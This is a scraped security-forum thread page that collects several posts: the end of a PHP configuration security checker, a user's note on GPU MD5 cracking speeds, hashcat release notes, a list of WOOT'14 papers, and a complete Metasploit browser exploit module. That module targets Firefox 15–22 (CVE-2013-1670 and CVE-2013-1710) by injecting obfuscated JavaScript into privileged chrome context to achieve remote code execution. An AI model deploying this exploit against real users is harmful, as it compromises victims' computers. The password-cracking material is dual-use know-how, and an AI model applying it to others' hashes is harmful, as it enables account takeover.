list($result, $reason) = array(TEST_MAYBE, "CLI pager set."); } break; case 'cli.prompt': if ($v !== NULL && strlen($v) > 32) { list($result, $reason) = array(TEST_MAYBE, "CLI prompt is rather long (>32)."); } break; case 'curl.cainfo': if ($v !== "") { if (substr($v, 0, 1) !== DIRECTORY_SEPARATOR || $is_win && substr($v, 1, 2) !== ":" . DIRECTORY_SEPARATOR) { list($result, $reason) = array(TEST_LOW, "CURLOPT_CAINFO must be an absolute path."); } elseif (!is_readable($v)) { list($result, $reason) = array(TEST_LOW, "CURLOPT_CAINFO is set but not readable."); } } break; case 'docref_root': case 'docref_ext': if ($v !== NULL && $v !== "") { list($result, $reason) = array(TEST_LOW, "docref is set."); $recommendation = $helptext['docref_*']; } break; /* ===== Suhosin ===== */ case 'suhosin.simulation': if ($v == "1") { list($result, $reason) = array(TEST_MAYBE, "Suhosin is in simulation mode."); } break; case 'suhosin.log.syslog': if ($v === NULL || $v == "0") { list($result, $reason) = array(TEST_COMMENT, "Suhosin doesn't log to syslog."); } break; case 'suhosin.log.phpscript': if ($v !== NULL || $v != "0") { list($result, $reason) = array(TEST_COMMENT, "PHP-script for logging."); } break; case 'suhosin.executor.max_depth': if (intval($v) == 0) { list($result, $reason) = array(TEST_LOW, "stack depth not limited."); } break; case 'suhosin.executor.include.max_traversal': if (intval($v) == 0) { list($result, $reason) = array(TEST_LOW, "path traversal (include) not limited."); } break; case 'suhosin.cookie.cryptkey': case 'suhosin.session.cryptkey': $tmp = explode('.', $k); if (ini_get('suhosin.'. $tmp[1] . '.encrypt')) { if ($v === "") { list($result, $reason) = array(TEST_HIGH, "encryption used, but key not set."); $recommendation = $helptext['suhosin.*.cryptkey']; } elseif (strlen($v) < 16) { list($result, $reason) = array(TEST_MEDIUM, "key is very short."); $recommendation = $helptext['suhosin.*.cryptkey']; } } break; case 'suhosin.cookie.encrypt': if ($v == "1") { list($result, $reason) = array(TEST_COMMENT, "cookie encryption on."); $recommendation = $helptext['suhosin.cookie.encrypt=on']; } else { list($result, $reason) = array(TEST_MEDIUM, "cookie encryption off."); $recommendation = $helptext['suhosin.cookie.encrypt=off']; } break; case 'suhosin.cookie.disallow_nul': case 'suhosin.get.disallow_nul': case 'suhosin.post.disallow_nul': case 'suhosin.request.disallow_nul': list($result, $reason) = array(TEST_HIGH, "nul-protection off."); $recommendation = $helptext['suhosin.*.disallow_nul']; break; case 'suhosin.get.disallow_ws': case 'suhosin.post.disallow_ws': case 'suhosin.cookie.disallow_ws': if ($v != "1" && ini_get('suhosin.request.disallow_ws') != "1") { list($result, $reason) = array(TEST_LOW, "default value."); $recommendation = $helptext['suhosin.*.disallow_ws']; } break; case 'suhosin.request.max_value_length': if (intval($v) == 0 && (intval(ini_get('suhosin.get.max_value_length')) == 0 || intval(ini_get('suhosin.post.max_value_length')) == 0 || intval(ini_get('suhosin.cookie.max_value_length')) == 0)) { list($result, $reason) = array(TEST_MEDIUM, "value length not limited."); $recommendation = $helptext['suhosin.*.max_value_length=off']; } elseif (intval($v) == 1000000) { // default value list($result, $reason) = array(TEST_COMMENT, "default value."); $recommendation = $helptext['suhosin.*.max_value_length=default']; } break; case 'suhosin.get.max_value_length': case 'suhosin.post.max_value_length': case 'suhosin.cookie.max_value_length': if (intval($v) == 0 && intval(ini_get('suhosin.request.max_value_length')) == 0) { list($result, $reason) = array(TEST_MEDIUM, "value length not limited."); $recommendation = $helptext['suhosin.*.max_value_length=off']; } elseif ($k === 'suhosin.get.max_value_length' && intval($v) == 512 || $k == 'suhosin.post.max_value_length' && intval($v) == 1000000 || $k == 'suhosin.cookie.max_value_length' && intval($v) == 10000) { // default value list($result, $reason) = array(TEST_COMMENT, "default value."); $recommendation = $helptext['suhosin.*.max_value_length=default']; } break; case 'suhosin.request.max_varname_length': if (intval($v) == 0 && (intval(ini_get('suhosin.get.max_name_length')) == 0 || intval(ini_get('suhosin.post.max_name_length')) == 0 || intval(ini_get('suhosin.cookie.max_name_length')) == 0)) { list($result, $reason) = array(TEST_MEDIUM, "varname length not limited."); $recommendation = $helptext['suhosin.*.max_name_length=off']; } break; case 'suhosin.get.max_name_length': case 'suhosin.post.max_name_length': case 'suhosin.cookie.max_name_length': if (intval($v) == 0 && intval(ini_get('suhosin.request.max_varname_length')) == 0) { list($result, $reason) = array(TEST_MEDIUM, "varname length not limited."); $recommendation = $helptext['suhosin.*.max_name_length=off']; } break; case 'suhosin.log.script.name': case 'suhosin.log.phpscript.name': if ($v !== "") { if (is_writable($v)) { list($result, $reason) = array(TEST_HIGH, "logging script is writable."); $recommendation = $helptext['suhosin.log.script.name']; } elseif (is_writable_or_chmodable($v)) { list($result, $reason) = array(TEST_MEDIUM, "logging script is potentially writable."); $recommendation = $helptext['suhosin.log.script.name/chmod']; } } break; /* ===== known, but probably not security relevant ===== */ case 'asp_tags': case 'precision': case 'assert.bail': case 'assert.callback': case 'assert.quiet_eval': case 'assert.warning': case 'auto_detect_line_endings': case 'bcmath.scale': case 'browscap': case 'date.default_latitude': case 'date.default_longitude': case 'date.sunrise_zenith': case 'date.sunset_zenith': case 'date.timezone': case 'dba.default_handler': case 'suhosin.apc_bug_workaround': case 'suhosin.cookie.checkraddr': case 'suhosin.cookie.cryptdocroot': case 'suhosin.cookie.cryptlist': case 'suhosin.cookie.cryptraddr': case 'suhosin.cookie.cryptua': case 'suhosin.log.syslog.facility': case 'suhosin.log.syslog.priority': case 'suhosin.log.sapi': case 'suhosin.log.script': case 'suhosin.log.use-x-forwarded-for': case 'suhosin.request.disallow_ws': list($result, $reason) = array(TEST_OK, "any value is ok"); break; /* ===== unknown / ignored ===== */ default: list($result, $reason) = array(TEST_UNKNOWN, "unknown / not checked."); // echo "unknown ini: $k = $v\n"; } if ($result === NULL) { tres($meta, TEST_OK); } else { tres($meta, $result, $reason, $recommendation); } } // --- other checks --- // old version of this script? if (version_compare(PHP_VERSION, '5.1.0') >= 0) { date_default_timezone_set("UTC"); // avoid incorrect timezone warnings in strtotime() } if (stripos($pcc_version, "-dev") !== FALSE || stripos($pcc_version, "-rc") !== FALSE) { if (time() > strtotime($pcc_date) + (24*3600*60)) { $cfg['need_update'] = 1; } } elseif (time() > strtotime($pcc_date) + (24*3600*180)) { $cfg['need_update'] = 1; } // old php version? $meta = tdesc("PHP Version", "Checks whether your PHP version is < 5.4"); if (version_compare(PHP_VERSION, '5.4.0') >= 0) { tres($meta, TEST_OK, "PHP version = " . PHP_MAJOR_VERSION . "." . PHP_MINOR_VERSION); } else { tres($meta, TEST_HIGH, "PHP version is older than 5.4", "Please upgrade PHP as soon as possible. " . "Old versions of PHP are not maintained anymore and may contain security flaws."); } // suhosin installed? $meta = tdesc("Suhosin", "Checks whether the Suhosin-Extension is loaded"); if (extension_loaded("suhosin")) { tres($meta, TEST_OK); } else { tres($meta, TEST_MAYBE, "Suhosin extension is not loaded", "Suhosin is an advanced protection system for PHP. It is designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. For more information see http://suhosin.org/"); } // error_log outside document root? $meta = tdesc("Error log in document root", "Checks if error_log path is in the current document root"); if ($cfg['is_cli']) { tres($meta, TEST_SKIPPED, "CLI"); } elseif (ini_get('error_log') === "") { tres($meta, TEST_SKIPPED, "error_log not set."); } elseif (ini_get('error_log') === "syslog") { tres($meta, TEST_SKIPPED, "error_log to syslog."); } elseif (!isset($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_SKIPPED, "DOCUMENT_ROOT not set."); } else { $error_log_realpath = realpath(ini_get('error_log')); $document_root_realpath = realpath($_SERVER['DOCUMENT_ROOT']); if ($error_log_realpath === FALSE) { tres($meta, TEST_SKIPPED, "error_log invalid or relative path."); } elseif ($document_root_realpath === FALSE) { tres($meta, TEST_SKIPPED, "DOCUMENT_ROOT invalid or relative path."); } elseif (strpos($error_log_realpath, $document_root_realpath) === 0) { tres($meta, TEST_HIGH, "error_log in DOCUMENT_ROOT.", "The error logfile is located inside the document root directory and may be accessible publicly. The error_log should point to a file outside the document root."); } else { tres($meta, TEST_OK, "error_log outside of DOCUMENT_ROOT."); } } // writable document root? $meta = tdesc("Writable document root", "Checks if the current document root is writable"); if (!isset($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_SKIPPED, "DOCUMENT_ROOT not set."); } elseif (is_writable($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_HIGH, "document root is writable.", "Making the document root writable may give an attacker the advantage of persisting an exploit. It is probably best to restrict write access to the document root and its subdirectories. Temporary files your application may need to write can be safely stored outside the document root."); } elseif (is_writable_or_chmodable($_SERVER['DOCUMENT_ROOT'])) { tres($meta, TEST_MEDIUM, "document root is potentially writable.", "The document root's access permissions prevent write access, but the current user has the right to change these permissions. Please change the directory's owner."); } else { tres($meta, TEST_OK, "document root not writable."); } /*****************************************************************************/ // output if ($cfg['output_type'] == "text") { echo $cfg['s1_logo_aa'] . "\n\n"; if ($cfg['need_update']) { echo " [*] This script is rather old. Please check for updates:\n $pcc_url\n\n"; } foreach ($all_result_codes as $sev) { if (!$cfg['showall'] && !in_array($sev, $cfg['result_codes_default'], true)) { continue; } if (!isset($trbs[$sev]) || !$trbs[$sev]) {continue;} foreach ($trbs[$sev] as $res) { echo sprintf("[%-8s] %s\n", $res['result'], $res['name']); echo " " . $res['reason'] . "\n " . $res['recommendation'] . "\n"; } } } elseif ($cfg['output_type'] == "html") { function e($str) { return htmlentities($str, ENT_QUOTES); } ?> <html> <head><title><?php echo $pcc_name; ?></title> <style> body { background-color: #fe9; color: #111; font-family: sans-serif; } body, tr, td, table, pre, div { font-size: 12px; } .<?php echo TEST_CRITICAL; ?> { background-color: #f0c; } .<?php echo TEST_HIGH; ?> { background-color: #f00; } .<?php echo TEST_MEDIUM; ?> { background-color: #fa0; } .<?php echo TEST_LOW; ?> { background-color: #ff0; } .<?php echo TEST_MAYBE; ?> { background-color: #1cc; } .<?php echo TEST_COMMENT; ?> { background-color: #fff; } .<?php echo TEST_OK; ?> { background-color: #0f0; } .<?php echo TEST_SKIPPED; ?> { background-color: #888; } .<?php echo TEST_UNKNOWN; ?> { background-color: #a50; } .c { text-align: center; } td { vertical-align: top; border: 1px solid black; padding: 3px; } a:link {color: #0000a9; text-decoration: none;} a:hover {text-decoration: underline;} table {border-collapse: collapse;} .t { width: 700px; margin-left: auto; margin-right: auto; text-align: left; margin-bottom: 10px; } .t1 { background-color: #fff; } img { float: right; border: 0px; } </style> </head> <body> <div class="c"> <table class="t t1"> <tr><td> <a href="https://sektioneins.de/"><img src="<?php echo $cfg['s1_logo']; ?>" width="120px"/></a> <?php echo $pcc_name;?><br/>Version <?php echo $pcc_version;?><br/><?php echo $pcc_copy; ?> </td></tr> </table> <?php if ($cfg['need_update']): ?> <table class="t"><tr><td class="critical"> [*] This script is rather old. Please check for updates: <a href="<?php echo $pcc_url; ?>"><?php echo $pcc_url; ?></a></td></tr></table> <?php endif ?> <table class="t"><tr> <?php foreach ($all_result_codes as $sev) { if (!$cfg['showall'] && !in_array($sev, $cfg['result_codes_default'], true)) { continue; } if (!isset($trbs[$sev])) {continue;} ?> <td class="<?php echo $sev; ?>"><?php echo $sev; ?>: <?php echo count($trbs[$sev]); ?></td> <?php } ?></tr></table> <table class="t"> <tr> <th>Risk</th> <th>Name / Description</th> <th>Reason</th> <th>Recommendation</th> </tr> <?php foreach ($all_result_codes as $sev) { if (!$cfg['showall'] && !in_array($sev, $cfg['result_codes_default'], true)) { continue; } if (!isset($trbs[$sev]) || !$trbs[$sev]) {continue;} foreach ($trbs[$sev] as $res): ?> <tr class="<?php echo $res['result']; ?>"> <td><?php echo $res['result']; ?></td> <td><?php echo e($res['name']); ?><?php if ($res['desc'] !== NULL) {echo "<br/>" . e($res['desc']);} ?></td> <td><?php echo e($res['reason']); ?></td> <td><?php echo e($res['recommendation']); ?></td> </tr> <?php endforeach; } ?> </table> </div> </body> </html> <?php } ?> Sursa: https://github.com/sektioneins/pcc
  21. Pe Nvidia GTX770 am crapat parola MD5 de 8 caractere a-z (litere mici) in 1-2 minute. O parola a-z, A-Z, 0-9 si caractere speciale cu lungimea de 8 caractere se sparge in 45 de zile. Nu e rau. Mai exact, la MD5 am 1700 MH/s (1700 de milioane de hash-uri pe secunda). Nota: Temperatura a crescut de la 52 de grade pe la 77 de grade dupa vreo 10 minute. Sugestie: Nu lasati pornit pe laptop. Pe PC, unde ventilatia e mai buna, e ok.
  22. Download here: https://hashcat.net/oclhashcat/ This release is again focused on performance increase of the kernels and bugfixes. However, the most code intensive change in this version was the new workload dispatcher as it's part of the the oclHashcat core. The old one wasn't that bad, but the new one is simply faster which adds up to the increased performance of the kernels. As always, make sure to unpack into a new folder. Never reuse an existing oclHashcat folder (because of the cached kernels). One important thing for AMD users: You will need to update to the latest beta version of catalyst before updating oclHashcat. We've decided to no longer wait for AMD to ship the latest "stable" catalyst driver simply because they aren't any more stable than beta drivers... There's also one change made to the binaries itself. We now are using our own toolchain (thanks to crosstool-ng) to create our own binaries with an older glibc. That was required to make the binaries compatible to linux distributions using an older glibc. That means you should be able to run cudaHashcat and oclHashcat now without glibc patching on Kali, some (older) Debian systems, CentOS 6.4, etc.. New algorithms Skype Peoplesoft md5($salt.md5($pass)) Mediawiki B type Kerberos 5 AS-REQ Pre-Auth etype 23 as fast algorithm (reimplementation) Android FDE scrypt Password Safe v2 Lotus Notes/Domino 8 Skype and Peoplesoft are just new parsers as you were already able to crack them with older oclHashcat versions by using the generic hashtypes and by formating the hashes in a way that oclHashcat can load them. By adding parsers we just make it more comfortable for the users to load the hashes as you can use them in their native output. The md5($salt.md5($pass)) generic algorithm was simply added as it was required for the Mediawiki B type hash-type. It's a simple scheme that does not require any special comment. The Kerberos 5 algorithm is a reimplementation as fast algorithm type. That is the case if an algorithm is fast enough to require an on-gpu candidate generator. The algorithm actually was fast enough and just by not selecting it as fast hash it lost some performance. By switching it to a fast type we got some speedup for free. Now it gets interessing. The Android FDE algorithm that was added is the one that is using PBKDF2-HMAC-SHA1 + CBC-ESSIV-AES with 2000 iterations. Only tricky part was the "detection" of a filesystem. Note that this algorithm isn't used anymore in newer android devices. The new one uses scrypt instead of PBKDF2. For details about how the algorithm is working see here: https://hashcat.net/forum/thread-2270.html That's why we've added scrypt to GPU. And what should I tell, it's PITA. The goal of scrypt to run slow on GPU has been fulfilled. Just one note about that. The intention (if I understood currectly) was to make the computuation slow because the memory access is slow. Well that's not what made it slow actually. It's simply the lack of the total memory available on the card. Note that, to run fast with GPGPU, you have to run many tasks in parallel. That means that you have to allocate a huge amount of memory for each parallel task and this is what kills the gpu, not the access time. Also note that this scrypt variant is the real scrypt, not the minimal version that is used for litecoin. The litecoin version uses extreme low settings for N, r and p such that it is not required to work on global memory for all operations. We're using a fully functional scrypt in which you can set N, r and p dynamically. For the benchmark, we're using the defaults of 16k, 8, 1. The Password Safe v2 was also very interessting. This algorithm actually runs slower than the current one used in Password Safe v3, which is also supported with hash-type 5200. On my AMD hd7970, the v2 version runs with 101 kH/s while the v3 version runs with 506.2 kH/s but I don't think it's too much of a problem. Both run slow enough and are salted. Last algorithm that was added is Lotus Notes/Domino 8 which was discovered by our own philsmd. Therefore, oclHashcat v1.30 is world's first Lotus Notes/Domino 8 (H-hashes) cracker! For details about how the algorithm is working see here: https://hashcat.net/forum/thread-3550.html More info: https://hashcat.net/forum/thread-3627.html
  23. 08/01/2014 08:14 PM 386,377 woot14-adrian.pdf 07/19/2014 03:47 PM 2,177,899 woot14-akhawe.pdf 07/22/2014 08:52 PM 207,942 woot14-bruno.pdf 07/10/2014 06:44 PM 1,062,161 woot14-bursztein.pdf 07/22/2014 09:43 AM 1,551,501 woot14-chalupar.pdf 07/21/2014 11:38 PM 429,102 woot14-deshotels.pdf 07/21/2014 06:36 PM 3,475,919 woot14-fiebig.pdf 07/23/2014 04:56 AM 2,804,299 woot14-ghena.pdf 07/25/2014 04:23 PM 2,093,963 woot14-grand.pdf 07/22/2014 05:23 AM 191,274 woot14-ho.pdf 07/25/2014 04:22 PM 430,803 woot14-kaplan.pdf 07/22/2014 08:53 PM 123,691 woot14-kuhrer.pdf 07/23/2014 10:52 PM 350,262 woot14-laing.pdf 07/23/2014 03:54 AM 273,914 woot14-malvoni.pdf 07/23/2014 02:41 AM 141,500 woot14-maskiewicz.pdf 07/22/2014 12:29 PM 735,065 woot14-ullrich.pdf 07/22/2014 06:50 AM 314,998 woot14-vantonder.pdf Download: https://www.usenix.org/system/files/tech-schedule/woot14_papers_archive.zip
  24. ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "15.0", :ua_maxver => "22.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox toString console.time Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'moz_bug_r_a4', # discovered CVE-2013-1710 'Cody Crews', # discovered CVE-2013-1670 'joev' # metasploit module ], 'DisclosureDate' => "May 14 2013", 'References' => [ ['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # further chrome injection ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var y = {}, q = false; y.constructor.prototype.toString=function() { if (q) return; q = true; crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); return 5; }; console.time(y); |) js.obfuscate %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end Sursa: http://www.exploit-db.com/exploits/34363/
×
×
  • Create New...